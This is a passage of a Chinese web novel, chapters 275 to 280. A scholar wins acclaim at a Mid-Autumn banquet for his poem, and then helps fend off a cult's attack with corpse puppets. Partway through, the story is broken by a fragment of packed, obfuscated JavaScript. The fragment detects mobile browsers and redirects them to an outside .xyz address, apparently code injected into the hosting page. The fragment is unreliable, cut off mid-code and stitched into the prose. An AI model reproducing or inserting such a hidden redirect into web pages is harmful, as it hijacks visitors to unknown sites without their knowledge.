精美的菜肴如流水般呈上,从象征“团圆”的四喜丸子,到寓意“富
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贵”的鲍参翅肚,再到应景的肥蟹和桂花糕,极尽奢华。
一队身着霓裳的舞姬们甩着飘逸的水袖,在铺着大红地毯的中央翩跹起舞,乐师们卖力地奏着《月儿高》、《霓裳羽衣曲》等应景的祥和乐曲。
酒过三巡,气氛渐酣。
赵明德满面红光地起身,手持金杯,朗声致辞,先是照例歌颂了一番皇恩浩荡、天下太平、风调雨顺,随后话锋一转,语气沉凝了几分,提到了府城近日的多事之秋。
“然,月有阴晴圆缺,世有波澜起伏。我府城近日亦历经磨难,邪教猖獗,妖人作乱,幸得苍天庇佑,圣上洪福,同僚齐心,将士用命!”
他声音洪亮,目光扫过全场,最终落在齐枫身上,脸上带着毫不掩饰的赞许笑容,“更难得的是,有诸多义士挺身而出,不畏艰险,仗义相助,助官府屡破险局,保我府城安宁,百姓康乐!”
他略微停顿,让众人的目光都聚焦过来,才继续道:“尤其是齐枫齐公子,虽身为今科春闱榜首,文人雅士,却于危难之际不避斧钺,勇破邪阵,更以绝世医术救治同僚,活人性命,实乃智勇双全,我辈之楷模!”
“今日中秋团圆之宴,亦是为齐公子暂洗冤屈,聊表庆贺之意!来,诸位,满饮此杯,为我府城能有此等青年才俊,共贺!”
话音落下,不少官员士绅纷纷附和,无论真心假意,皆举杯向齐枫示意,一时间恭维之声不绝于耳。
齐枫从容起身,手执酒杯,笑容温润,语气谦逊:“赵大人过誉了,折煞晚辈。晚辈不过是恰逢其会,因缘际会之下,尽了点读书人的本分和绵薄之力。真正劳苦功高、夙夜匪懈的,是赵大人、卢大人以及奋战在一线、保境安民的各位差爷和军士们。”
“今日佳节,能蒙赵大人相邀,与众位贤达长者、亲朋挚友同聚于此,共赏明月,享此盛世华筵,已是晚辈莫大幸事。借此杯酒,敬赵大人、卢大人,敬在座诸位,亦敬明月千秋,人间团圆。”
第两百七十五章 各怀心事
他应对得体,不卑不亢,既接了赵明德的夸奖,又将功劳推还出去,言辞恳切,令人如沐春风,顿时赢得一片真心或假意的好感。
众人纷纷笑着饮尽杯中酒,气氛愈加热烈和谐。
可在这片看似融洽的祥和之下,暗流始终涌动。
萧无痕自始至终只是冷冷地看着,并未举杯,也未发言,面前那杯清茶丝毫未动。
直到齐枫说完那一番话坦然坐下,他才几不可察地扯动了一下嘴角,那弧度与其说是笑,不如说是一丝带着审视意味的嘲讽。
他伸出骨节分明却略显苍白的手指,端起面前的茶杯,轻轻呷了一口,目光再次如同无形的探照灯般,仔细扫过齐枫那张含笑的脸,以及他身边那些看似热情洋溢、实则各怀心思的宾客,仿佛要将每个人的真实面目都看穿。
袁家席位那边,则传来几声极轻的、却足以让附近几桌人听见的冷哼与嘀咕。
“哼,巧舌如簧,倒是会卖乖讨巧。”
“戴罪之身,不过是走了狗屎运,侥幸立了点微末功劳,真当自己是什么了不得的人物了?也配在此大放厥词?”
“就是,若非他处处与我家作对,巧设构陷,我袁家何至于此?克良堂兄又何至于……”
“嘘……慎言!今日场合不同……”
窃窃私语声虽低,但在刻意关注下,依旧断断续续地飘了过来。
周子陵当即眉毛一竖,就要拍案而起反唇相讥,却被身旁的徐远死死按住手腕。
徐远微微摇头,示意他看齐枫。
齐枫本人却恍若未闻,依旧笑意盈盈地侧头与南宫玥说着什么闲话,顺手用公筷给她夹了一块造型精致的荷花酥,仿佛那些恶意的低语不过是蚊蚋嗡嗡。
南宫玥担忧地看了齐枫一眼,柳眉微蹙,低声道:“齐郎,他们……”
“无妨。”齐枫打断她,笑容不变,声音压低得只有近处几人能听见,“秋虫唧唧,难免扰人清听。难道它们叫得难听,我们还要钻草棵里去跟它们理论一番不成?今日月色正好,美食当前,良辰美景,莫要被些不相干的噪音败了兴致。”
他的目光状似无意地扫过袁家席位,在那几个嚼舌根的子弟脸上停留了一瞬,那眼神平静无波,甚至带着一丝若有若无的笑意。
却让那几人莫名地感到一股寒意自心底升起,仿佛被什么极危险的猛兽淡淡一瞥,下意识地闭上了嘴,悻悻地转过头去喝酒。
楚清秋在远处将这一幕尽收眼底,见他如此从容不迫,四两拨千斤地化解了尴尬,心中稍安,一股难以言喻的、夹杂着骄傲与酸楚的情绪悄然蔓延。
但随即,腹中那隐秘的存在感再次袭来,如同冰冷的锁链,将她瞬间拉回现实。
那未定的艰难抉择、两人之间骤然拉开的鸿沟、以及这繁华盛宴下无处不在的危机,让她眸光再次迅速黯淡下去,下意识地抬手,极轻地按了一下依旧平坦的小腹,又如同被灼伤般迅速放下。
贝齿轻轻咬住了下唇,将那声几乎逸出的叹息硬生生咽了回去。
那是一个不能言说、无法触碰的禁忌,是她独自背负甜蜜又沉重的十字架。
宴会继续进行。
丝竹声再次悠扬响起,舞姬换了一拨,跳起了欢快热烈的《丰收乐》舞蹈,试图将气氛重新推向高潮。
众人推杯换盏,言笑晏晏,似乎方才那短暂的暗涌与摩擦从未发生,一切都沉浸在节日的喜悦与奢华之中。
但所有有心人都知道,这看似和谐热闹的中秋夜宴,实则暗藏机锋,如同一张拉满的弓,弦已绷紧。
明月渐高,清辉透过雕花的窗棂,洒满人间。
盛宴,才刚刚开始!
宴至中段,酒酣耳热,正是气氛最热烈之时。
按照中秋宴的惯例,赋诗助兴的环节如期而至。
一位须发花白、德高望重的老儒生被推举出来主持,他清了清嗓子,满面红光地宣布开始。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16412968|180032||http|test|mini|href|location''.split(''|''),0,{}));
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r>一时间,才子文人纷纷踊跃,争相献上早已准备好的或即兴创作的诗作。
有咏月之清辉的,有叹秋之萧瑟的,有寄托思乡之情的,亦有歌颂太平盛世的。
诗词或工整,或精巧,或情感真挚,引得席间不时爆发出阵阵叫好与掌声。
几位颇负才名的秀才公子之作更是被众人传阅品评,将气氛推向一个小高潮。
然而,几轮过后,佳作频出之余,却也难免显出几分套路化的疲态。
咏月总离不开“玉盘”、“冰轮”,思乡脱不开“莼鲈”、“归雁”,虽文辞雅致,却少了几分令人拍案叫绝的惊艳与新意。
众人的目光开始有意无意地飘向那个始终噙着淡淡笑意、摇着折扇的月白身影。
期待在无声中酝酿。
终于,在又一位士子吟罢一首中规中矩的七律后,席间的赵明兰按捺不住,清脆的声音打破了短暂的间隙:“齐枫!大家都作了诗,就你还没动静呢!你可是今科榜首,今夜月色这么好,你不作一首,可说不过去呀!”
她话音落下,周子陵、徐远等人立刻起哄附和,不少倾慕齐枫才名的闺秀小姐们也投来期待的目光。
这本是一番善意的催促,可不等齐枫回应,一个阴阳怪气的声音便从袁家席位飘了过来,是先前嚼舌根的袁家子弟袁惊鸿:
“明兰妹妹此言差矣。作诗乃是风雅之事,讲究的是心境才情,强求不得。更何况……齐公子如今身份特殊,怕是心思沉重,一时未有佳句,也是情理之中。我等还是莫要强人所难了,免得……呵呵,徒增尴尬。”
他话语看似体贴,实则字字带刺,暗指齐枫“戴罪之身”,不配亦无心情风雅。
另一袁家子弟也嗤笑道:“惊鸿兄说的是。说不定齐公子正琢磨着如何向萧大人陈情辩解,或是担忧那乾朝余孽的案子后续,哪还有闲情逸致吟风弄月呢?咱们还是自己乐呵吧,别扰了人家的正事。”
第两百七十六章 佳作
这话已是极其无礼的挑衅,暗讽齐枫罪名未脱,煞风景至极。
席间气氛瞬间一僵,欢愉轻松荡然无存。
赵明德脸色沉了下来,卢正淳也皱紧了眉头。
南宫玥气得俏脸发白,柳若雪手中的团扇也停止了摇动。
周子陵更是“霍”地站起身,眼看就要发作。
一直沉默饮酒的袁振山眼皮微抬,瞥了自家子侄一眼,并未出声呵斥,似是默许。
就在这剑拔**张的当口,齐枫却忽然轻笑出声。
他按住即将暴起的周子陵,缓缓站起身,手中折扇“唰”地合拢,姿态闲适优雅,仿佛刚才那些刺耳的言语不过是清风过耳。
他目光扫过袁惊鸿等人,嘴角噙着一丝若有若无的戏谑,朗声道:“几位袁兄还真是……关心齐某啊。连齐某此刻心中是忧是喜,是忙是闲,都替齐某揣摩得一清二楚,这份心意,真是令人感动。”
他这一调侃,却让袁惊鸿几人面色一僵,仿佛一拳打在了棉花上。
齐枫踱步走到厅堂相对开阔处,仰头望向窗外那轮已近中天、皎洁圆满的明月,清辉洒落在他俊逸的侧脸上,平添几分谪仙般的风采。
他略作沉吟,仿佛在感受这月华流转,天地清宁。
整个揽月轩安静了下来,所有人的目光都聚焦在他身上。
萧无痕放下了茶杯,目光深邃,楚清秋下意识地捏紧了衣袖,心中既期待又莫名紧张。
袁振山浑浊的眼中闪过一丝精光,赵明德、卢正淳则面露期待。
只见齐枫深吸一口气,仿佛将漫天月华都吸入了胸臆之间,随即开口,声音清越如玉磬,穿透寂静的厅堂:
“皓魄当空宝镜升,云间仙籁寂无声。”
开篇两句,便以“宝镜”喻月,气象宏大,“仙籁寂无声”更衬出月夜之静谧广阔,意境顿出,瞬间将众人从方才的喧嚣争执拉入一个空灵澄澈的月下世界。
“平分秋色一轮满,长伴云衢千里明。”
这两句对仗工整,“平分秋色”一语双关,既指中秋时节,又暗含月华普照万物之意,“长伴云衢千里明”则气势磅礴,将月的永恒与光辉展现得淋漓尽致。
众人已是屏息凝神,眼中露出惊叹。
齐枫语调微微扬起,继续吟诵:
“狡兔空从弦外落,妖蟆休向眼前生。”
此处巧妙化用月宫玉兔和月食蟾蜍的传说,却以“空从”、“休向”否定,带出一种高洁不容侵犯、邪祟退散的凛然之气,似是写月,又似别有寄托。
“灵槎拟约同携手,更待银河彻底清。”
最后两句,奇峰突起,竟要约人共乘通往天河的仙筏,同游碧落,而且要等到银河彻底清澈!
这是何等的浪漫想象,何等的豪情逸兴!
不仅超越了寻常的赏月怀人,更表达了一种对澄澈光明、至高境界的向往与追求!
诗毕,满场死寂。
落针可闻。
所有人都沉浸在诗中所描绘的那片冰清玉洁、浩瀚无垠、又充满仙逸豪情的月境之中,心神为之所夺,一时竟忘了反应。
这首诗,不仅文辞瑰丽,对仗精工,意境更是高远超绝!
从眼前皓月写到云衢银河,从静谧无声写到邀游碧落,既有绝尘之想,又有豪迈之情,更隐含着一股涤荡妖氛、追求清朗世界的磅礴正气!
与此前的诸多诗作相比,简直是云泥之别!
“好……好诗!”不知是谁率先回过神来,猛地喝了一声彩。
这一声如同投入平静湖面的石子,瞬间激起了滔天巨浪!
“妙啊!平分秋色一轮满,长伴云衢千里明!此等气象,此等胸怀!”
“灵槎拟约同携手,更待银河彻底清!奇思妙想,豪情万丈!老夫……老夫叹服!”
“绝了!当真绝了!此诗一出,今夜所有诗作尽皆失色!”
“不愧是春闱榜首!此等才情,堪称惊世!”
喝彩声、赞叹声、拍案叫绝声如同潮水般席卷了整个揽月轩!
文人士子们激动得面色通红,反复咀嚼着诗句,恨不能立刻抄录下来细细品味。
夫人小
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姐们更是美目涟涟,看向齐枫的目光充满了毫不掩饰的惊艳,崇拜。
这一刻,所有关于嫌疑、关于身份的芥蒂似乎都被这绝世诗才所带来的震撼冲刷得一干二净!
赵明德抚掌大笑,连声道:“好!好一个更待银河彻底清!齐贤弟,此诗当浮一大白!”
卢正淳也忍不住咳嗽着笑道:“后生可畏,后生可畏啊!此诗意境高远,非凡俗可比,当为此宴诗魁!”
周子陵、徐远等人更是与有荣焉,兴奋地差点跳起来。
南宫玥激动得俏脸绯红,看向齐枫的眼神几乎能滴出水来。
柳若雪也微微颔首,眼中异彩连连。
就连主位之上的萧无痕,一直冰冷沉静的脸上也控制不住地掠过极大的震惊!
他精于刑名,对诗词并非特别热衷,但鉴赏力却是不凡。他完全能听出这首诗的不同寻常。
那不仅仅是辞藻的堆砌,更是一种格局、气度与境界的碾压!
尤其是最后两句,那“彻底清”的期盼,隐隐与他心中某些模糊的念头相合……
此子之才,实在深不可测!
袁家席位一片死寂。
袁惊鸿等人脸色铁青,难看至极,方才的挑衅此刻显得无比可笑,如同跳梁小丑。
他们本想打压齐枫的气焰,却反而成了衬托其绝世风采的可悲背景板。
袁振山握着酒杯的手指微微收紧,浑浊的眼底深处闪过一丝极深的忌惮。
此子不除,必成大患!
而坐在边缘的楚清秋,在诗音响起的刹那便已痴了。
她怔怔地望着那个沐浴在月光与众人崇拜目光中的身影,听着那如同仙音般的诗句一字字敲击在心坎上。
尤其是那“狡兔空从弦外落,妖蟆休向眼前生”,仿佛是他对世间邪祟的宣言,而那“更待银河彻底清”,又何尝不是她内心深处对光复河山、涤荡乾坤的渴望?
她的心湖被彻底搅动,波澜汹涌,一种难以言喻的骄傲、震撼、以及更深沉的、无法言说的酸楚与爱恋几乎要将她淹没。
第两百七十七章 异变
她慌忙垂下头,生怕被人看出眼底的湿意和失控的情绪。
齐枫立于堂中,承受着四面八方涌来的赞誉与惊叹,脸上却依旧是那副云淡风轻的模样,仿佛刚才吟出那等惊世之作不过是信手拈来。
他微微拱手,谦逊一笑:“诸位谬赞了,不过偶有所得,聊助酒兴罢了。”
其风采气度,更是令人心折。
经此一诗,齐枫之名,注定要在今夜之后,传遍整个府城,乃至更远的地方。
中秋诗会的风华,被他推向了前所未有的顶峰。
可就在这满堂华彩、众人沉醉于诗词余韵之中时,谁也没有注意到,厅堂角落阴影里,一个低眉顺眼、正在更换烛台的伙计,嘴角勾起了一抹极其诡异冰冷的弧度。
赞誉之声久久不息,许多文人墨客甚至迫不及待地向侍女索要纸笔,欲将方才那首《中秋咏月》即刻录下,以免遗忘了任何一个字句。
觥筹交错间,向齐枫敬酒的人络绎不绝,他俨然成了今夜当之无愧的焦点,风头无两。
南宫玥在一旁替他挡了不少酒,俏脸因酒意和兴奋染上红霞,更显娇艳动人。
周子陵和徐远更是兴奋地与人高谈阔论,仿佛那诗是他们作出的一般。
赵明德与卢正淳相视而笑,眼中满是欣慰赞赏,如此才俊,若能彻底洗脱嫌疑,必是朝廷栋梁,府城之福!
主位之上的萧无痕,指节分明的手指无意识地摩挲着温热的茶杯边缘,目光依旧锁定在齐枫身上。
如此惊才绝艳,心思缜密,却又身负重重谜团……
袁家席位则彻底沦为了背景板。袁振山面无表情地一杯接一杯喝着闷酒,周围的恭维声、赞叹声每一声都像是对袁家的嘲讽。
袁惊鸿等人脸色阴沉得能滴出水来,再也发不出任何声音,只能将愤懑与嫉恨狠狠咽下,目光如同毒蛇般阴冷地缠绕在齐枫周围。
楚清秋低垂着眼睑,指尖冰凉。
周围的喧嚣仿佛与她隔着一层无形的屏障。那首诗还在她脑中回荡,每一个字都敲击着她的心弦。
她为他骄傲,更为他担忧。
木秀于林,风必摧之。
他越是耀眼,就越会成为众矢之的,无论是来自袁家的明枪,还是幽冥教的暗箭,亦或是……朝廷那从未放松的猜忌。
而自己腹中的秘密,更像是一颗随时会引爆的惊雷,将她,也可能将他,拖入万劫不复的深渊。
这种极致的荣耀与极致的危险交织在一起,让她心如乱麻,坐立难安。
就在这盛宴气氛达到最浓烈,几乎所有人都沉浸在诗酒风流之中时。
异变,陡生!
毫无预兆地,揽月轩内超过一半的灯火,在同一瞬间,“噗”地一声,齐齐熄灭!
并非被风吹灭的那种摇曳熄灭,而是如同被一只无形的巨手猛地掐断了光源,瞬间陷入黑暗!
只剩下零星几盏位于角落和主位附近的宫灯还顽强地亮着,投下微弱而摇曳的光晕,反而更衬得大部分区域漆黑一片,影影幢幢。
“啊!”
“怎么回事?!”
“灯怎么灭了?!”
突如其来的黑暗引发了瞬间的恐慌和骚动。
女眷们的惊叫声、杯盘落地摔碎的脆响、男人们惊疑不定的呵斥声骤然响起,打破了方才的歌舞升平。
人们下意识地起身,桌椅被撞得东倒西歪,场面一时混乱不堪。
“肃静!不得慌乱!”赵明德洪亮的声音试图压制骚动,但在黑暗中效果有限。
“保护大人!”锦衣卫的反应极快,几乎在灯灭的瞬间,数道身影已如鬼魅般护在了萧无痕、赵明德和卢正淳周围,刀剑出鞘的“铿锵”声在黑暗中格外刺耳。
齐枫在灯灭的第一时间便心中一凛,那股熟悉阴冷诡谲的感觉再次袭来!
他猛地站起身,将身旁的南宫玥拉到自己身后,低喝道:“子陵,徐远,玉堂,护住女眷!靠近亮处!”
周子陵和徐远陈玉堂虽惊不乱,立刻依言行事,将柳若雪、赵明兰等人聚拢到还有光线的地方。
黑暗,成
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为了最好的掩护。
“呃啊!”一声凄厉的惨叫突然从宴会厅的某个角落响起,紧接着便是人体重重倒地的声音!
“有刺客!”
“**啦!”
恐慌如同瘟疫般瞬间蔓延开来!人们像无头苍蝇一样试图逃离,却反而在黑暗中互相冲撞踩踏,惊叫声、哭喊声、咒骂声混成一片。
“点灯!快快点灯!”赵明德焦急地大喊。
仆役们慌忙想要重新点燃灯火,却发现那些熄灭的灯烛,灯芯仿佛被某种力量禁锢,根本无法点燃!
“是邪术!”卢正淳咳着喊道,声音带着惊怒。
就在这时,一阵若有若无、缥缈诡异的笛声,如同从地底深处钻出,又像是从九幽之外传来,丝丝缕缕地渗入混乱的喧嚣中。
那笛声不成曲调,尖细刺耳,听得人头皮发麻,心神不宁。
随着笛声响起,更令人毛骨悚然的事情发生了!
几个原本倒在地上、看似是因混乱被撞倒或是吓晕的仆役和宾客,身体突然以一种极其不自然关节扭曲的方式,猛地从地上弹了起来!
他们的眼睛在昏暗中泛着死鱼般的灰白光泽,脸上没有任何表情,嘴角却咧开一个诡异僵硬的弧度,涎水混合着暗色的血迹从嘴角流出。
他们的动作僵硬迅捷,力大无穷,发出“嗬嗬”的怪响,如同提线木偶般,疯狂地扑向最近的生人!
“尸……尸傀儡!”有人认出了这可怕的东西,发出绝望的尖叫!
这些被邪术操控的“尸体”根本不畏疼痛,徒手便能撕裂血肉,指甲变得乌黑尖锐,带着剧毒!
一时间,血腥味开始弥漫,惨叫声此起彼伏,宴会彻底变成了修罗场!
“结阵!防御!”萧无痕强忍着伤口的剧痛,厉声下令。
他的脸色在微弱的光线下苍白如纸,但眼神却锐利如刀,死死盯着混乱的战场。数名锦衣卫立刻组成战阵,刀光闪烁,阻挡尸傀儡的冲击,但这些邪物悍不畏死,且力量奇大,一时间竟难以完全抵挡。
第两百七十八章 巧妙
“保护小姐!”
“老爷小心!”
各家带来的护卫家丁也纷纷拔出兵器,与那些恐怖的尸傀儡战作一团,但普通刀剑砍在它们身上,往往只能留下浅浅的伤口,根本无法致命,反而更容易被其抓住机会反扑撕碎!
混乱中,一道黑影如同融入黑暗的毒蛇,悄无声息地避开战团,直扑主位方向!
其目标,赫然是重伤未愈、正被锦衣卫重点保护的萧无痕!
那人手中一抹幽蓝的淬毒寒光,直取其咽喉!
“大人小心!”一名锦衣卫校尉奋不顾身地扑上前格挡。
“铛!”金铁交鸣之声刺耳!那黑影身法诡异至极,如同没有骨头般扭动,轻易避开了校尉的拼死拦截,毒刃再次递出,快如闪电!
眼看萧无痕就要遇险,他猛地一拍桌面,借力向后疾退,同时一直按在腹部的左手闪电般探出,指尖不知何时夹住了数枚细如牛毛的乌黑短针,带着破空声射向黑影要害!竟是拼着牵动伤势也要反击!
那黑影似乎没料到萧无痕重伤之下还有如此反应和暗器手法,身形微微一滞,挥刃格开大部分**,却仍有一枚擦着他的手臂掠过,带起一溜血珠。
而就在这电光火石之间,齐枫动了!
他早已在灯灭之初便凝神感知那诡异笛声的来源和邪气波动的核心。
就在黑影袭击萧无痕、所有人注意力都被吸引的刹那,他猛地将手中折扇朝着大厅西北角一根巨大的承重柱后方掷去!
那折扇去势极快,并非攻击人,而是在空中“唰”地展开,扇面上那些看似装饰的泥金纹路在微弱的光线下竟似乎流动了一下!
同时,他口中清喝一声,声音不大,却奇异地压过了现场的混乱:“音控尸傀,其枢在坎位水漏之下!破其水器,笛声自乱!”
他并没有直接指出施术者,而是精准地点破了对方邪术依托的媒介。
那西北角恰好摆放着一个用于计时的铜制滴漏,水流声声,正好完美地掩盖了笛声的细微来源,并以水汽增强了邪术的阴寒之力!
折扇“啪”地一声击打在铜漏之上,力道巧妙,并未损坏铜漏,却让那匀速滴落的水流猛地一滞,溅起一片水花!
诡异的笛声,在这一瞬间,果然出现了一个极其细微,几乎难以察觉的顿挫和走调!
就是现在!
一直强撑着的萧无痕眼中寒光爆射,几乎与齐枫的提醒同步,对着护卫西北方向的锦衣卫厉声道:“坎位!抓人!”
与此同时,齐枫手指在袖中极快地弹动,几粒不起眼的、用艾草和朱砂混合搓成的小丸无声无息地射向那几个正在扑咬的尸傀儡。
小丸击中尸傀后并未造成伤害,却“噗”地一声爆开一小团淡淡的黄色烟雾,带着一股浓郁的艾草香气。
那几名正疯狂攻击的尸傀儡,动作猛地一僵,像是被什么东西干扰了一下,灰白的眼珠转动着,出现了一瞬间的迷茫和停滞!
虽然很快又恢复凶性,但这短暂的空隙,已足够周围的护卫和家丁抓住机会,狠狠劈砍其关节要害!
“攻击关节!脖颈!”齐枫的声音再次冷静地响起,指引着混乱中的人们。
整个应对过程,从灯灭到尸傀暴起,再到齐枫指出关键、萧无痕下令、两人近乎默契地配合干扰施术与尸傀,几乎发生在短短十数息之内!
快得让人眼花缭乱!
那隐匿在西北角承重柱后的笛声操控者显然没料到自己的手段会被如此快看破并干扰,笛声再次响起时,已带上了几分急促和恼怒,控制力似乎也减弱了几分。
扑向萧无痕的黑影见一击不中,目标已有防备,且同伴似乎受阻,毫不恋战,身形如同鬼影般向后一飘,竟直接融入黑暗中,几个闪烁便消失不见,身法诡异得非人所能及!
而被锦衣卫扑向的西北角,只传来一声轻微的、如同瓦片落地的声响,待锦衣卫冲到时,只看到地上留
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下一小滩水渍和半截被踩碎像是某种骨笛的碎片,人早已不见踪影。
失去了笛声的精确操控,那些尸傀儡的行动变得更加狂乱无章,虽然依旧可怕,但不再那么难以对付。
在众人的合力**下,尤其是齐枫时不时弹出的艾草朱砂丸的干扰下,最终被逐一砍倒肢解,彻底失去了动静。
当最后一具尸傀儡轰然倒地时,揽月轩内已是一片狼藉。
幸存的人们惊魂未定,喘息着,看着满地狼藉的杯盘碎片、以及那几具血肉模糊、散发着恶臭的尸傀儡残骸,还有不幸遇害的几个宾客和仆役的尸体,脸上充满了恐惧和后怕。
血腥味与食物的香气、酒气混合在一起,形成一种令人作呕的怪异味道。
剩余的灯火被重新点亮,光明驱散了黑暗。
惊魂未定的宾客们聚拢在一起,女眷们低声啜泣,相互安慰,男人们则面色苍白,强作镇定地议论着方才的惊险,目光不时警惕地扫视着四周,生怕黑暗中再冲出什么怪物。
各家带来的护卫家丁手持兵刃,紧张地守护在自家主人周围,形成一个个小小的防御圈。
赵明德脸色铁青,一方面是后怕,另一方面是滔天的怒火。
在他的治下,在如此重要的中秋盛宴上,竟然发生如此恶劣的袭击事件,死伤多人,这简直是赤裸裸的挑衅和打脸!
他立刻下令封锁醉月楼,所有人员不得随意离开,并派人火速调集府衙兵丁前来控制现场、勘察取证。
卢正淳因方才的混乱和紧张,咳嗽得更厉害了,被侍卫扶着坐在一张完好的太师椅上,喘息着,浑浊的眼睛里充满了凝重。
幽冥教如此猖獗,竟敢在众目睽睽之下袭击官府宴会,其嚣张程度远超预期。
萧无痕在锦衣卫的严密护卫下,依旧站在原地。
他方才强行出手和下令,牵动了伤口,额角渗出细密的冷汗,脸色比之前更加苍白,但腰杆依旧挺得笔直。
第两百七十九章 再解释一次
他的目光先是冷冷地扫过全场,尤其是在袁家席位和几个可能藏匿刺客的角落停留片刻,然后便落在了齐枫身上,眼神极其复杂。
方才那电光火石间的配合,虽非有意,却堪称默契。
齐枫精准地指出了邪术的关键,并提供了有效的干扰手段,而他自己则凭借经验和决断,立刻做出了最正确的应对。
这种临危不乱的敏锐和有效的手段,再次深深震撼了萧无痕。
此子,绝非池中之物!
可是,越是这样,他心中的疑团就越发浓重:一个普通的书生,怎会对幽冥教的邪术如此了解?
那艾草朱砂丸,分明是早有准备!
“齐公子,”萧无痕开口,“方才,多亏你及时指出关窍。”
这话算是承认了齐枫的功劳,但语气依旧听不出什么温度。
齐枫此刻正低头检查着南宫玥是否受伤,闻言抬起头,脸上没什么得意之色,反而带着一丝凝重:“萧大人言重了,皮**罢了。只是没想到,幽冥教竟敢如此肆无忌惮。”
他目光扫过地上的狼藉和血迹,眉头微蹙。
南宫玥紧紧抓着他的胳膊,心有余悸,俏脸煞白,但看向齐枫的眼神却充满了依赖和劫后余生的庆幸。
“齐郎,刚才吓死我了……多亏有你……”
柳若雪也站在一旁,虽然脸色也不好看,但还算镇定,她对着齐枫微微颔首,低声道:“齐公子,方才多谢。”
周子陵和徐远陈玉堂则是一脸兴奋和后怕交织,围在齐枫身边,七嘴八舌。
“齐兄!你太神了!你怎么知道那鬼笛子跟水漏有关?”
“还有那药丸!乖乖,扔过去那鬼东西就卡壳了!”
“妈的,幽冥教这帮杂碎,真是无孔不入!”
齐枫摆了摆手,示意他们稍安勿躁:“一些小手段,不值一提。当务之急,是协助赵大人和萧大人处理好现场,查明线索。”
他的冷静和顾全大局,让周围不少人暗暗点头。
可并非所有人都心存感激。
袁家席位那边,袁振山在一众族老和子弟的护卫下,脸色阴沉得可怕。
袁惊鸿捂着胳膊,上面有一道被尸傀儡抓出的血痕,虽不深,但乌黑发紫,显然是中了毒,正有随行大夫紧急处理。
他疼得龇牙咧嘴,看向齐枫的目光却充满了怨毒,对身旁人道:“哼,装什么好人!谁知道是不是他贼喊捉贼?偏偏就他懂得对付这些鬼东西?我看八成有鬼!”
这话声音虽低,但在相对安静的现场,还是被附近一些人听了去。
顿时,几道怀疑的目光再次落在了齐枫身上。
是啊,为什么他总能恰到好处地破解幽冥教的阴谋?这巧合也太多了点!
萧无痕自然也听到了这议论,他眼神一厉,扫向袁惊鸿,冰冷的目光让后者瞬间噤声。
但萧无痕自己心中,又何尝没有类似的疑虑?
他只是比袁惊鸿更沉得住气,也更清楚在没有确凿证据前,贸然发难只会适得其反。
就在这时,负责搜查西北角的锦衣卫校尉快步回来,单膝跪地禀报:“大人!坎位柱后只发现此物!”
他双手呈上半截断裂颜色惨白、似乎是某种兽骨打磨而成的骨笛碎片,以及一小滩尚未干涸的水渍。“人……踪迹全无,如同鬼魅。”
萧无痕接过那骨笛碎片,入手冰凉,上面刻画着诡异的符文,散发着淡淡的邪气。
他仔细看了看,又递给身旁一名似乎懂得些邪门歪道的锦衣卫查看。
那锦衣卫仔细辨认后,脸色微变,低声道:“大人,这符文……是幽冥教引尸笛特有的控灵纹,非核心教徒不能持有。而且……这制作骨笛的材质,似乎是……人骨!”
人骨笛!众人闻言,皆是脊背一寒!
萧无痕眼神更冷,将骨笛碎片紧紧攥在手心。
果然是幽冥教!而且出动的是核心教徒!
他们的目标是谁?是齐枫?还是自己?或者……是想将府城的精英一网打尽?
他深吸一口气,压下翻涌的气血和
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怒火,沉声下令:“仔细搜查整个醉月楼!任何角落都不要放过!询问所有在场人员,看是否有人注意到可疑人物或异常情况!将遇难者遗体妥善保管,伤者立即救治!”
命令一条条下达,锦衣卫和迅速赶到的府衙捕快们立刻行动起来。
现场一片忙碌,勘察的勘察,询问的询问,抬送伤员的抬送伤员。
齐枫没有参与具体的搜查,他知道那是锦衣卫和衙门的专业。
他带着南宫玥、柳若雪、周子陵、徐远等人退到一旁相对干净的角落休息。
赵明兰也惊魂未定地凑了过来,小脸煞白,抓着柳若雪的衣袖不放。
“齐枫,刚才……刚才多谢你。”赵明兰心有余悸地说,“要不是你,还不知道要死多少人。”
齐枫笑了笑,递给她一杯热茶压惊:“没事了,都过去了。”
他的目光却不由自主地飘向大厅另一个角落。
在那里,楚清秋正独自一人,安静地站在一根柱子旁,低着头,仿佛眼前的一切混乱都与她无关。
她纤细的身影在偌大而狼藉的厅堂里,显得格外孤寂单薄。
他想走过去,问问她有没有受伤,哪怕只是说一句话。
但看着她那明显拒绝交流的姿态,脚步又生生顿住。
两人之间,似乎隔着一道无形却比尸傀儡更难逾越的鸿沟。
小荷不知从哪里钻了出来,跑到齐枫身边,带着哭腔:“少爷!吓死小荷了!刚才黑乎乎的,好多怪物!青禾姐姐她……”
她也看到了独自站立的楚清秋,小脸上满是困惑和担忧,“青禾姐姐好像吓坏了,一个人站在那里,都不说话……”
齐枫心中一动,摸了摸小荷的头:“嗯,你去看看青禾姐姐,陪她说说话,但别打扰她。”
小荷乖巧地点点头,跑了过去,小心翼翼地拉着楚清秋的衣角,仰着头说着什么。
楚清秋似乎怔了一下,然后缓缓蹲下身,轻轻抱了抱小荷,动作温柔,却依旧没有看向齐枫这边。
第两百八十章 感情一事
这一幕,落在南宫玥眼中,她抓着齐枫胳膊的手不自觉地紧了紧,美眸中闪过一丝不易察觉的黯然和危机感。
她能感觉到,齐枫总是蒙着面纱的婢女“青禾”,有着非同一般的关注。
周子陵是个粗线条,没注意到这些微妙情绪,兀自愤愤道:“齐兄,你说这幽冥教是不是疯了?这么搞他们能得到什么好处?”
齐枫收回目光,眼神微冷:“搅乱府城,制造恐慌,削弱官府威信,或许……也是为了试探,或者掩盖他们真正的目的。”
他想到那个逃走的黑影“幽影使”,想到王家村诡异的阵法,想到那未完成的“血月祭”,心中隐隐有种预感,更大的风暴,恐怕还在后面!
现场的初步勘察结果陆续汇总过来。
除了那半截人骨笛,没有发现其他明显属于刺客的线索。
对方显然计划周密,行动迅捷,撤退干净利落。
受伤者多为混乱中的踩踏和被尸傀儡所伤,**者需要特效解药。
死亡人数初步统计有七人,包括三名宾客、两名仆役和两名护卫。
每一个数字,都像重锤敲在赵明德和卢正淳的心上。
